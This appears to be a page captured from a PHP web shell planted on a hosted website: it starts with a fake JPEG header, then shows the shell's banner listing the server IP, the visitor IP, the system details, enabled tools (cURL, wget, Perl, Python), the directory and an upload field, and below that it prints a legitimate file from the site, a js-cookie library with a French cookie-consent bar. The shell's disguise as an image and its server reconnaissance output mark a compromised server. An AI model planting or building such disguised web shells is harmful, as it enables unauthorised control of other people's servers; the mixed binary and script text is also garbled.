ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/fermegarat.com/js/ |
Upload File : |
/**
* Minified by jsDelivr using Terser v3.14.1.
* Original file: /npm/js-cookie@2.2.1/src/js.cookie.js
*
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
*/
!function(e){var n;if("function"==typeof define&&define.amd&&(define(e),n=!0),"object"==typeof exports&&(module.exports=e(),n=!0),!n){var t=window.Cookies,o=window.Cookies=e();o.noConflict=function(){return window.Cookies=t,o}}}(function(){function e(){for(var e=0,n={};e<arguments.length;e++){var t=arguments[e];for(var o in t)n[o]=t[o]}return n}function n(e){return e.replace(/(%[0-9A-Z]{2})+/g,decodeURIComponent)}return function t(o){function r(){}function i(n,t,i){if("undefined"!=typeof document){"number"==typeof(i=e({path:"/"},r.defaults,i)).expires&&(i.expires=new Date(1*new Date+864e5*i.expires)),i.expires=i.expires?i.expires.toUTCString():"";try{var c=JSON.stringify(t);/^[\{\[]/.test(c)&&(t=c)}catch(e){}t=o.write?o.write(t,n):encodeURIComponent(String(t)).replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g,decodeURIComponent),n=encodeURIComponent(String(n)).replace(/%(23|24|26|2B|5E|60|7C)/g,decodeURIComponent).replace(/[\(\)]/g,escape);var f="";for(var u in i)i[u]&&(f+="; "+u,!0!==i[u]&&(f+="="+i[u].split(";")[0]));return document.cookie=n+"="+t+f}}function c(e,t){if("undefined"!=typeof document){for(var r={},i=document.cookie?document.cookie.split("; "):[],c=0;c<i.length;c++){var f=i[c].split("="),u=f.slice(1).join("=");t||'"'!==u.charAt(0)||(u=u.slice(1,-1));try{var a=n(f[0]);if(u=(o.read||o)(u,a)||n(u),t)try{u=JSON.parse(u)}catch(e){}if(r[a]=u,e===a)break}catch(e){}}return e?r[e]:r}}return r.set=i,r.get=function(e){return c(e,!1)},r.getJSON=function(e){return c(e,!0)},r.remove=function(n,t){i(n,"",e(t,{expires:-1}))},r.defaults={},r.withConverter=t,r}(function(){})});
//# sourceMappingURL=/sm/b0ce608ffc029736e9ac80a8dd6a7db2da8e1d45d2dcfc92043deb2214aa30d8.map
var policyurl = "page-mentions-legales",
okcolor = "#000000",
want_cookie = Cookies.get('cookie_crunch');
document.write("<div id='cookie-bar' style='display:none;z-index:9999999;position:fixed; bottom:0; left:0; width: 100%; text-align: center; padding: 25px 0; margin:0; background: #eee; color: #919191; font: 14px arial, sans-serif;'><div style='text-align: center;background:#fff;border:1px solid #ccc; border-radius:4px;width:92%;margin-left:4%'><div style='display:inline-block;width:78%;margin:0; font-family: Arial;'><br /><br />Ce site peut utiliser des Cookies outre la mesure d'audience et l'indentification (cookies autorisés par la CNIL Art.82 de la Loi Informatique et Libertés).<br /><i>Si vous souhaitez en savoir plus sur les cookies utilisés par Google : <a href='http://www.google.com/intl/fr/policies/technologies/cookies/' target='_blank' style='color: #919191;font-weight:bold;'>cliquez ici</a></i><br /><br /><br />Le cas échéant vous pouvez facilement bloquer les cookies publicitaires existants en cliquant sur le bouton <i>Je refuse</i>.<br />Pour plus d'informations sur notre politique de confidentialité nous vous invitons à consulter : <a id='cookie-policy' href='"+policyurl+"' style='color: #919191;font-weight:bold;'>nos mentions légales</a><br /><br /><i>A tout moment vous pouvez revenir sur votre décision valable 1 an en cliquant sur le bouton situé à gauche et en haut de page. </i><br /><br /><br /><div style='bottom:6px;text-align:center;'><span id='stop-cookie' style='color: #FFFFFF;background: "+okcolor+";border-radius: 3px; line-height: 30px; padding: 6px 25px;margin: 1px 8px 0 0;font-weight: 400;'>Je refuse</span> <span id='agree' style='color: #FFFFFF;background: #269526;border-radius: 3px; line-height: 30px; padding: 6px 25px;margin: 1px 8px 0 0;font-weight: 400;'>J'accepte</span><br /><br /><br /></div></div></div></div>");
document.write("<span id='checkcookies' style='z-index:9999999;position:fixed;top:1px;left:2%;color: #fff;background: transparent;border-radius: 2px; line-height: 20px; padding: 0 6px;margin: 1px 8px 0 0;font-weight: 400;'>cookies "+ want_cookie +"</span>");
if (want_cookie == null || want_cookie == ""){
document.getElementById("cookie-bar").style.display = "block";
}
$(document).ready(function() {
$('#stop-cookie').click(function(){
Cookies.set("cookie_crunch", "non actifs", { expires: 120 });
$('#cookie-bar').hide(500);
document.getElementById("checkcookies").innerHTML = "cookies non actifs";
});
});
//in jquery
// If the user agree with using cookies on my website
$(document).ready(function() {
$('#agree').click(function(){
// I save this information in a cookie
document.cookie = "cookie_crunch=actifs;expires="+ new Date(new Date().getTime()+60*60*1000*24*360).toGMTString()+";path=/";
// I hide the cookie bar
$('#cookie-bar').hide(500);
// Then, I display that cookies are used
document.getElementById("checkcookies").innerHTML = "cookies actifs";
});
});
// if user want to stop cookies
$(document).ready(function() {
$('#stop-cookie').click(function(){
// I save this information in a cookie
document.cookie = "cookie_crunch=non actifs;expires="+ new Date(new Date().getTime()+60*60*1000*24*360).toGMTString()+";path=/;";
// I hide the cookie bar
$('#cookie-bar').hide(500);
// I remove specific cookies
// Then, I display that cookies have been blocked
document.getElementById("checkcookies").innerHTML = "cookies non actifs";
});
});
// I want to allow the used to change his choice about cookies
$(document).ready(function() {
$('#checkcookies').click(function(){
$('#cookie-bar').show(500);
});
});
/* in javascript
document.getElementById("checkcookies").addEventListener("click", showCookiebar);
function showCookiebar() {
document.getElementById("cookie-bar").style.display = 'block';
}
document.getElementById("agree").addEventListener("click", hideCookiebar);
function hideCookiebar() {
document.cookie = "cookie_crunch=yes;expires=Thu, 18 Dec 2020 12:00:00 UTC;path=/";
document.getElementById("checkcookies").innerHTML = "cookies actifs";
document.getElementById("cookie-bar").style.display = 'none';
}
document.getElementById("stop-cookie").addEventListener("click", hideCookiebar);
function hideCookiebar() {
document.cookie = "cookie_crunch=no;expires=Thu, 18 Dec 2020 12:00:00 UTC;path=/";
document.getElementById("checkcookies").innerHTML = "cookies non actifs";
document.getElementById("cookie-bar").style.display = 'none';
}*/